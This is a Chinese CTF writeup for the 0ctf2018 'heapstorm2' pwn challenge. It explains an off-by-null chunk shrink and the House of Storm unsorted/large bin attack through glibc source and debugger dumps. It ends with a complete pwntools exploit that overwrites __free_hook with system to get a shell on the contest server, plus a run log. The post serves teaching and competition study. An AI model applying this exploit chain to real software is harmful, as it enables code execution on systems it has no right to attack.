首页
论坛
专栏
课程

[原创]ctf pwn中的unsorted bin利用及chunk shrink——0ctf2018 heapstorm2 writeup

2018-4-13 01:39 6248

[原创]ctf pwn中的unsorted bin利用及chunk shrink——0ctf2018 heapstorm2 writeup

2018-4-13 01:39
6248

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2

前置知识

  • mallopt
    int mallopt(int param,int value) param的取值分别为M_MXFAST,value是以字节为单位。
    M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。下面我们来将M_MXFAST设置为0,禁止使用fastbins
    源码
102     #ifndef M_MXFAST
103    # define M_MXFAST  1    /* maximum request size for "fastbins" */
104    #endif

5137    int __libc_mallopt (int param_number, int value)
5138    {
5139      mstate av = &main_arena;
5140      int res = 1;
5141    
5142      if (__malloc_initialized < 0)
5143        ptmalloc_init ();
5144      __libc_lock_lock (av->mutex);
5145    
5146      LIBC_PROBE (memory_mallopt, 2, param_number, value);
5147    
5148      /* We must consolidate main arena before changing max_fast
5149         (see definition of set_max_fast).  */
5150      malloc_consolidate (av);
5151    
5152      switch (param_number)
5153        {
5154        case M_MXFAST:
5155          if (value >= 0 && value <= MAX_FAST_SIZE)
5156            {
5157              LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
5158              set_max_fast (value);
5159            }
5160          else
5161            res = 0;
5162          break;
5163    
5164        case M_TRIM_THRESHOLD:
5165          do_set_trim_threshold (value);
5166          break;
5167    
5168        case M_TOP_PAD:
5169          do_set_top_pad (value);
5170          break;
5171    
5172        case M_MMAP_THRESHOLD:
5173          res = do_set_mmap_threshold (value);
5174          break;
5175    
5176        case M_MMAP_MAX:
5177          do_set_mmaps_max (value);
5178          break;
5179    
5180        case M_CHECK_ACTION:
5181          do_set_mallopt_check (value);
5182          break;
5183    
5184        case M_PERTURB:
5185          do_set_perturb_byte (value);
5186          break;
5187    
5188        case M_ARENA_TEST:
5189          if (value > 0)
5190            do_set_arena_test (value);
5191          break;
5192    
5193        case M_ARENA_MAX:
5194          if (value > 0)
5195            do_set_arena_max (value);
5196          break;
5197        }
5198      __libc_lock_unlock (av->mutex);
5199      return res;
5200    }
  • 利用linux的/dev/urandom文件产生较好的随机数
    https://blog.csdn.net/stpeace/article/details/45829161

          int randNum = 0;  
          int fd = open("/dev/urandom", O_RDONLY);  
          if(-1 == fd)  
          {  
                  printf("error\n");  
                  return 1;  
          }  
    
          read(fd, (char *)&randNum, sizeof(int));  
          close(fd);
    

分析

checksec

parallels@ubuntu:~/ctf/0ctf2018/heapstorm2$ checksec heapstorm2
[*] '/home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序分析

关闭fastbin的分配

图片描述

对存放堆指针和size的地方进行随机化

图片描述

 

读入随机数前

pwndbg> b *555555554000+0x0000000000000CA6
Breakpoint 1 at 0x8159b10f76
pwndbg> r
Starting program: /home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2 
...
...
Breakpoint *0x555555554000+0x0000000000000CA6
pwndbg> x /50gx 0x13370800
0x13370800:    0x0000000000000000    0x0000000000000000
0x13370810:    0x0000000000000000    0x0000000000000000
0x13370820:    0x0000000000000000    0x0000000000000000
0x13370830:    0x0000000000000000    0x0000000000000000
0x13370840:    0x0000000000000000    0x0000000000000000
0x13370850:    0x0000000000000000    0x0000000000000000
0x13370860:    0x0000000000000000    0x0000000000000000
0x13370870:    0x0000000000000000    0x0000000000000000
0x13370880:    0x0000000000000000    0x0000000000000000
0x13370890:    0x0000000000000000    0x0000000000000000
0x133708a0:    0x0000000000000000    0x0000000000000000
0x133708b0:    0x0000000000000000    0x0000000000000000
0x133708c0:    0x0000000000000000    0x0000000000000000
0x133708d0:    0x0000000000000000    0x0000000000000000
0x133708e0:    0x0000000000000000    0x0000000000000000
0x133708f0:    0x0000000000000000    0x0000000000000000
0x13370900:    0x0000000000000000    0x0000000000000000
0x13370910:    0x0000000000000000    0x0000000000000000
0x13370920:    0x0000000000000000    0x0000000000000000
0x13370930:    0x0000000000000000    0x0000000000000000
0x13370940:    0x0000000000000000    0x0000000000000000
0x13370950:    0x0000000000000000    0x0000000000000000
0x13370960:    0x0000000000000000    0x0000000000000000
0x13370970:    0x0000000000000000    0x0000000000000000
0x13370980:    0x0000000000000000    0x0000000000000000

读入随机数后

pwndbg> x /50gx 0x13370800
0x13370800:    0x72cec7f9b44fb49e    0x438137bc554b405e
0x13370810:    0x7a4f542a3248dba2    0x0000000000000000
0x13370820:    0x0000000000000000    0x0000000000000000
0x13370830:    0x0000000000000000    0x0000000000000000
0x13370840:    0x0000000000000000    0x0000000000000000
0x13370850:    0x0000000000000000    0x0000000000000000

图片描述
图片描述
用如图上数字1处的随机数去覆盖后面的16个的每一行的左八个字节(堆指针)。用如图上数字2处的随机数去覆盖后面的16个的每一行的右八个字节(size)。
用图上数字3处的随机数去覆盖数字4处。

主函数

图片描述

添加

图片描述

更新

有off by null漏洞

 

图片描述

删除

图片描述

显示

图片描述

漏洞分析

在update的时候有一个off by null。

其他

之前做堆的题都不建结构体,全靠脑补…这次建一下,让反编译出来的好看一点。
1.添加segment
图片描述
图片描述
图片描述
图片描述
2.建结构体

 

图片描述
3.改函数参数
图片描述
图片描述

 

4.最后的修改结果
图片描述

利用

shrink the chunk来overlap

前提:存在一个off-by-null漏洞(已满足)
目的:创造出overlap chunk,进而更改其他chunk中的内容
主要利用unsorted,small bin会unlink合并的特性来达到我们的目的。
1.伪造prev_size

alloc(0x18)     #0
alloc(0x508)    #1
alloc(0x18)     #2
update(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size

alloc(0x18)     #3
alloc(0x508)    #4
alloc(0x18)     #5
update(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
alloc(0x18)     #6

图片描述
2.free 1,于是下一个chunk的inuse和prev_size将被设置。
图示灰色的地方代表被free掉,然后触发off by null,修改1的size。

free(1)
update(0, 'h'*(0x18-12))    #off-by-one

图片描述
3.将free的1再分配出来,然后再分配一块空间到原来的1中,注意大小不能刚好使得这个chunk和2相邻,否则会把2的inuse位置1,不能在后续触发unlink。
然后再free 2,就能触发unlink,然后1和7,overlap

alloc(0x18)     #1
alloc(0x4d8)    #7
free(1)
free(2)         #backward consolidate

图片描述
图片描述

pwndbg> x /500gx 0x55f082807020
0x55f082807020:    0x49495f4d524f5453    0x0000000000000021
0x55f082807030:    0x00007f685fb20b78    0x00007f685fb20b78
0x55f082807040:    0x0000000000000020    0x00000000000004e0-->7
0x55f082807050:    0x0000000000000000    0x0000000000000000
0x55f082807060:    0x0000000000000000    0x0000000000000000
0x55f082807070:    0x0000000000000000    0x0000000000000000
0x55f082807080:    0x0000000000000000    0x0000000000000000
0x55f082807090:    0x0000000000000000    0x0000000000000000
0x55f0828070a0:    0x0000000000000000    0x0000000000000000
0x55f0828070b0:    0x0000000000000000    0x0000000000000000
0x55f0828070c0:    0x0000000000000000    0x0000000000000000
0x55f0828070d0:    0x0000000000000000    0x0000000000000000
0x55f0828070e0:    0x0000000000000000    0x0000000000000000
0x55f0828070f0:    0x0000000000000000    0x0000000000000000
0x55f082807100:    0x0000000000000000    0x0000000000000000
0x55f082807110:    0x0000000000000000    0x0000000000000000
0x55f082807120:    0x0000000000000000    0x0000000000000000
0x55f082807130:    0x0000000000000000    0x0000000000000000
0x55f082807140:    0x0000000000000000    0x0000000000000000
0x55f082807150:    0x0000000000000000    0x0000000000000000
0x55f082807160:    0x0000000000000000    0x0000000000000000
0x55f082807170:    0x0000000000000000    0x0000000000000000
0x55f082807180:    0x0000000000000000    0x0000000000000000
0x55f082807190:    0x0000000000000000    0x0000000000000000
0x55f0828071a0:    0x0000000000000000    0x0000000000000000
0x55f0828071b0:    0x0000000000000000    0x0000000000000000
0x55f0828071c0:    0x0000000000000000    0x0000000000000000
0x55f0828071d0:    0x0000000000000000    0x0000000000000000
0x55f0828071e0:    0x0000000000000000    0x0000000000000000
0x55f0828071f0:    0x0000000000000000    0x0000000000000000
0x55f082807200:    0x0000000000000000    0x0000000000000000
0x55f082807210:    0x0000000000000000    0x0000000000000000
0x55f082807220:    0x0000000000000000    0x0000000000000000
0x55f082807230:    0x0000000000000000    0x0000000000000000
0x55f082807240:    0x0000000000000000    0x0000000000000000
0x55f082807250:    0x0000000000000000    0x0000000000000000
0x55f082807260:    0x0000000000000000    0x0000000000000000
0x55f082807270:    0x0000000000000000    0x0000000000000000
0x55f082807280:    0x0000000000000000    0x0000000000000000
0x55f082807290:    0x0000000000000000    0x0000000000000000
0x55f0828072a0:    0x0000000000000000    0x0000000000000000
0x55f0828072b0:    0x0000000000000000    0x0000000000000000
0x55f0828072c0:    0x0000000000000000    0x0000000000000000
0x55f0828072d0:    0x0000000000000000    0x0000000000000000
0x55f0828072e0:    0x0000000000000000    0x0000000000000000
0x55f0828072f0:    0x0000000000000000    0x0000000000000000
0x55f082807300:    0x0000000000000000    0x0000000000000000
0x55f082807310:    0x0000000000000000    0x0000000000000000
0x55f082807320:    0x0000000000000000    0x0000000000000000
0x55f082807330:    0x0000000000000000    0x0000000000000000
0x55f082807340:    0x0000000000000000    0x0000000000000000
0x55f082807350:    0x0000000000000000    0x0000000000000000
0x55f082807360:    0x0000000000000000    0x0000000000000000
0x55f082807370:    0x0000000000000000    0x0000000000000000
0x55f082807380:    0x0000000000000000    0x0000000000000000
0x55f082807390:    0x0000000000000000    0x0000000000000000
0x55f0828073a0:    0x0000000000000000    0x0000000000000000
0x55f0828073b0:    0x0000000000000000    0x0000000000000000
0x55f0828073c0:    0x0000000000000000    0x0000000000000000
0x55f0828073d0:    0x0000000000000000    0x0000000000000000
0x55f0828073e0:    0x0000000000000000    0x0000000000000000
0x55f0828073f0:    0x0000000000000000    0x0000000000000000
0x55f082807400:    0x0000000000000000    0x0000000000000000
0x55f082807410:    0x0000000000000000    0x0000000000000000
0x55f082807420:    0x0000000000000000    0x0000000000000000
0x55f082807430:    0x0000000000000000    0x0000000000000000
0x55f082807440:    0x0000000000000000    0x0000000000000000
0x55f082807450:    0x0000000000000000    0x0000000000000000
0x55f082807460:    0x0000000000000000    0x0000000000000000
0x55f082807470:    0x0000000000000000    0x0000000000000000
0x55f082807480:    0x0000000000000000    0x0000000000000000
0x55f082807490:    0x0000000000000000    0x0000000000000000
0x55f0828074a0:    0x0000000000000000    0x0000000000000000
0x55f0828074b0:    0x0000000000000000    0x0000000000000000
0x55f0828074c0:    0x0000000000000000    0x0000000000000000
0x55f0828074d0:    0x0000000000000000    0x0000000000000000
0x55f0828074e0:    0x0000000000000000    0x0000000000000000
0x55f0828074f0:    0x0000000000000000    0x0000000000000000
0x55f082807500:    0x0000000000000000    0x0000000000000000
0x55f082807510:    0x0000000000000000    0x0000000000000000
0x55f082807520:    0x0000000000000000    0x524f545350414549
0x55f082807530:    0x0000000000000510    0x0000000000000020

图片描述

 

当free 2的时候,因为2是small bin的大小的缘故,所以会检测上一个chunk是否inused.
它会根据prev_size找到1,然后做unlink。
此时,unsortbin存放着这块大的chunk,所以下次malloc会用这一块先分配。
图片描述

pwndbg> unsortedbin 
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453    0x0000000000000531
0x555555757030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x555555757040:    0x0000000000000000    0x0000000000000000
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000000
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000000
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000

可以看出通过chunk shrink,实现了overlap。

alloc(0x38)     #1
alloc(0x4e8)    #2
0x555555757020 FASTBIN {
  prev_size = 5280856823766668371, 
  size = 65, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757060 PREV_INUSE {
  prev_size = 0, 
  size = 1265, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
...
...
pwndbg> x /100gx 0x555555757020
0x555555757020:    0x49495f4d524f5453    0x0000000000000041-->1
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000000-->7
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x00000000000004f1-->2
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000000
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000

重复一遍之前的过程,再次构造overlap

free(4)
update(3, 'h'*(0x18-12))    #off-by-one
alloc(0x18)     #4
alloc(0x4d8)    #8
free(4)
free(5)         #backward consolidate
alloc(0x48)     #4

然后4和8交叠。

pwndbg> x /50gx 0x555555757570
0x555555757570:    0x49495f4d524f5453    0x0000000000000021
0x555555757580:    0x0000000000000000    0x0000000000000000
0x555555757590:    0x0000000000000000    0x00000000000004e1-->8
0x5555557575a0:    0x0000000000000000    0x0000000000000000
0x5555557575b0:    0x0000000000000000    0x0000000000000000
....
....
....
unlink之后
....
....
....
pwndbg> x /50gx 0x555555757570
0x555555757570:    0x49495f4d524f5453    0x0000000000000051-->4
0x555555757580:    0x0000000000000000    0x0000000000000000
0x555555757590:    0x0000000000000000    0x0000000000000000-->8
0x5555557575a0:    0x0000000000000000    0x0000000000000000
0x5555557575b0:    0x0000000000000000    0x0000000000000000
0x5555557575c0:    0x0000000000000000    0x00000000000004e1
0x5555557575d0:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x5555557575e0:    0x0000000000000000    0x0000000000000000
0x5555557575f0:    0x0000000000000000    0x0000000000000000
0x555555757600:    0x0000000000000000    0x0000000000000000
0x555555757610:    0x0000000000000000    0x0000000000000000

利用unsorted bin中的chunk插入到large bin写数据,绕过对unsortbin中chunk的size大小的检查

        free(2)
        alloc(0x4e8)    #2
        free(2)

        storage = 0x13370000 + 0x800
        fake_chunk = storage - 0x20

        p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
        p1 += p64(0) + p64(fake_chunk)      #bk
        update(7, p1)

        p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
        update(8, p2)

free 2前

pwndbg> unsortedbin 
unsortedbin
all: 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557575c0

free 2后

pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */

将2再分配出来,这时0x5555557575c0掉链,进入large bins中,再free 2,0x555555757060再次进入unsortedbin。

pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
pwndbg> largebins 
largebins
0x400: 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x7ffff7dd1f68
0x440: 0x7ffff7dd1f78 (main_arena+1112) ◂— 0x7ffff7dd1f78
0x480: 0x7ffff7dd1f88 (main_arena+1128) ◂— 0x7ffff7dd1f88
0x4c0: 0x5555557575c0 —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0

然后要fake 0x555555757060的后向指针。

storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
update(7, p1)

fake前

pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453    0x0000000000000041
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000000
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x00000000000004f1
0x555555757070:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x555555757080:    0x0000000000000000    0x0000000000000000
0x555555757090:    0x0000000000000000    0x0000000000000000

fake后

pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453    0x0000000000000041
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000000
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x00000000000004f1
0x555555757070:    0x0000000000000000    0x00000000133707e0
0x555555757080:    0x524f545350414548    0x0000000049495f4d
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000

可以看出bk指针被改写。
然后fake

p2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
p2 += p64(0) + p64(fake_chunk+8)    # bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   # bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

fake前

wndbg> x/20gx 0x555555757590
0x555555757590:    0x0000000000000000    0x0000000000000000
0x5555557575a0:    0x0000000000000000    0x0000000000000000
0x5555557575b0:    0x0000000000000000    0x0000000000000000
0x5555557575c0:    0x0000000000000000    0x00000000000004e1
0x5555557575d0:    0x00007ffff7dd1f98    0x00007ffff7dd1f98
0x5555557575e0:    0x00005555557575c0    0x00005555557575c0
0x5555557575f0:    0x0000000000000000    0x0000000000000000
0x555555757600:    0x0000000000000000    0x0000000000000000
0x555555757610:    0x0000000000000000    0x0000000000000000

fake后

pwndbg> x/20gx 0x555555757590
0x555555757590:    0x0000000000000000    0x0000000000000000
0x5555557575a0:    0x0000000000000000    0x0000000000000000
0x5555557575b0:    0x0000000000000000    0x0000000000000000
0x5555557575c0:    0x0000000000000000    0x00000000000004e1
0x5555557575d0:    0x0000000000000000    0x00000000133707e8
0x5555557575e0:    0x0000000000000000    0x00000000133707c3
0x5555557575f0:    0x524f545350414548    0x0000000049495f4d
0x555555757600:    0x0000000000000000    0x0000000000000000
0x555555757610:    0x0000000000000000    0x0000000000000000
0x555555757620:    0x0000000000000000    0x0000000000000000
try:
    # if the heap address starts with "0x56", you win
    alloc(0x48)     #2
except EOFError:
    # otherwise crash and try again
    r.close()
    continue

当再分配一个chunk的时候,会先检查unsorted bin中有没有合适的,如果没有就把unsortbin中的chunk插入large bin中。
看源码

 else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
              ....
              ....
              ....
              // 如果size<large bin中最后一个chunk即最小的chunk,就直接插到最后
                  if ((unsigned long) (size)
                      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                // 否则正向遍历,fwd起初是large bin第一个chunk,也就是最大的chunk。
              // 直到满足size>=large bin chunk size
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk
                          assert (chunk_main_arena (fwd));
                        }
                      if ((unsigned long) size
                          == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                  // 插入
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

当找到插入的位置后,看源码里具体的插入操作。
注意large bin要维持两个双向链表,多了一个chunk size链表,所以要在两个链表中插入。

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

在此题中,fwd只可能是我们放入large bin的唯一一个chunk,而它的bk_nextsize和bk都是我们可以控制的(如上一步的改写)

victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

---->fwd->bk_nextsize->fd_nextsize=victim

victim就是我们要插入的堆地址。
bk_nextsize被写为0x13370800-0x20-0x18-5,那么*(0x13370800-0x20-0x18-5+0x20)=victim

fwd->bk=victim;

bk被写为0x13370800-0x20+8,那么*(0x13370800 -0x20+8 ) = victim。

 

当第一个chunk从unsorted bin插入到large bin之后,再到unsorted bin的下一个chunk,如果不满足分配则插入到large bin中。
而下一个chunk是我们伪造的(0x13370800-0x20)

 

而这个地方已经有值了,也就是我们写入的
(0x13370800-0x20-0x18-5+0x20)=0x133707e3=victim

pwndbg> x/gx 0x133707e3
0x133707e3:    0x000056213c4c8060

chunk的size,即0x13370800-0x20+0x8=0x133707e8,就是\x55或者\x56。

# if the heap address starts with "0x56", you win
    alloc(0x48)     #2

之所以要求是\x56,因为需要满足一个检查。

 assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
          av == arena_for_chunk (mem2chunk (mem)));

即chunk的mmap标志位置位。

 

之前我调试的时候都是打开的ASLR,现在关掉看一下,多运行几次总能有一次成功的。
图片描述
去掉标志位,那么它的大小就是0x50,就满足alloc(0x48),就会返回给我们,成功返回0x13370800-0x10之后,就是传统的做法了。

leak heap,leak libc,覆盖free_book值为system

getshell

exp

#!/usr/bin/env python
# encoding: utf-8

#flag{Seize it, control it, and exploit it. Welcome to the House of Storm.}

import itertools
from hashlib import sha256
from pwn import remote, process, ELF
from pwn import context
from pwn import p32,p64,u32,u64

context(arch='amd64', os='linux', log_level='info')
r = None

def proof():
    chal = r.recvuntil('\n').strip()
    print chal
    for x in itertools.product(range(0, 0xff), repeat=4):
        x = ''.join(map(chr, x)) 
        if sha256(chal+x).digest().startswith('\0\0\0'):
            r.send(x)
            return
    print 'Not Found'
    exit()

def alloc(size):
    r.sendline('1')
    r.recvuntil('Size: ')
    assert(12 < size <= 0x1000)
    r.sendline('%d' % size)
    r.recvuntil('Command: ')

def update(idx, content):
    r.sendline('2')
    r.recvuntil('Index: ')
    r.sendline('%d' % idx)
    r.recvuntil('Size: ')
    r.sendline('%d' % len(content))
    r.recvuntil('Content: ')
    r.send(content)
    r.recvuntil('Command: ')

def free(idx):
    r.sendline('3')
    r.recvuntil('Index: ')
    r.sendline('%d' % idx)
    r.recvuntil('Command: ')

def view(idx):
    r.sendline('4')
    r.recvuntil('Index: ')
    r.sendline('%d' % idx)
    m = r.recvuntil('Command: ')
    pos1 = m.find(']: ') + len(']: ')
    pos2 = m.find('\n1. ')
    return m[pos1:pos2]

def exploit(host):
    global r
    port = 5655

    while True:
        r = remote(host, port)
        proof()

        r.recvuntil('Command: ')

        alloc(0x18)     #0
        alloc(0x508)    #1
        alloc(0x18)     #2
        update(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size

        alloc(0x18)     #3
        alloc(0x508)    #4
        alloc(0x18)     #5
        update(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
        alloc(0x18)     #6

        free(1)
        update(0, 'h'*(0x18-12))    #off-by-one
        alloc(0x18)     #1
        alloc(0x4d8)    #7
        free(1)
        free(2)         #backward consolidate
        alloc(0x38)     #1
        alloc(0x4e8)    #2

        free(4)
        update(3, 'h'*(0x18-12))    #off-by-one
        alloc(0x18)     #4
        alloc(0x4d8)    #8
        free(4)
        free(5)         #backward consolidate
        alloc(0x48)     #4

        free(2)
        alloc(0x4e8)    #2
        free(2)

        storage = 0x13370000 + 0x800
        fake_chunk = storage - 0x20

        p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
        p1 += p64(0) + p64(fake_chunk)      #bk
        update(7, p1)

        p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
        p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
        p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
        update(8, p2)

        try:
            # if the heap address starts with "0x56", you win
            alloc(0x48)     #2
        except EOFError:
            # otherwise crash and try again
            r.close()
            continue

        st = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage)
        update(2, st)

        st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(storage-0x20+3) + p64(8)
        update(0, st)

        leak = view(1)
        heap = u64(leak)
        print 'heap: %x' % heap

        st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
        update(0, st)

        leak = view(1)
        unsorted_bin = u64(leak)
        main_arena = unsorted_bin - 0x58
        libc_base = main_arena - 0x399b00
        print 'libc_base: %x' % libc_base
        libc_system = libc_base + 0x3f480
        free_hook = libc_base + 0x39b788

        st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(0x100) + '/bin/sh\0'
        update(0, st)
        update(1, p64(libc_system))

        r.sendline('3')
        r.recvuntil('Index: ')
        r.sendline('%d' % 2)
        break

if __name__ == '__main__':
    host = '202.120.7.205'
    exploit(host)
    r.interactive()

log

[+] Opening connection to 202.120.7.205 on port 5655: Done
[DEBUG] Received 0x10 bytes:
    '0NrK7lj7hzsvZNOW'
[DEBUG] Received 0x1 bytes:
    '\n'
0NrK7lj7hzsvZNOW
[DEBUG] Sent 0x4 bytes:
    00000000  01 31 ef d8                                         │·1··││
    00000004
[DEBUG] Received 0xf6 bytes:
    '    __ __ _____________   __   __    ___    ____\n'
    '   / //_// ____/ ____/ | / /  / /   /   |  / __ )\n'
    '  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n'
    ' / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /\n'
    '/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n'
[DEBUG] Received 0x54 bytes:
    '\n'
    '===== HEAP STORM II =====\n'
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 0 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1288\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 1 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 2 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1272\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x4f8 bytes:
    00000000  68 68 68 68  68 68 68 68  68 68 68 68  68 68 68 68  │hhhh│hhhh│hhhh│hhhh│
    *
    000004f0  00 05 00 00  00 00 00 00                            │····│····││
    000004f8
[DEBUG] Received 0x10 bytes:
    'Chunk 1 Updated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 3 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
    '5. Exit\n'
    'Command: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x5 bytes:
    '1288\n'
[DEBUG] Received 0x12 bytes:
    'Chunk 4 Allocated\n'
[DEBUG] Received 0x39 bytes:
    '1. Allocate\n'
    '2. Update\n'
    '3. Delete\n'
    '4. View\n'
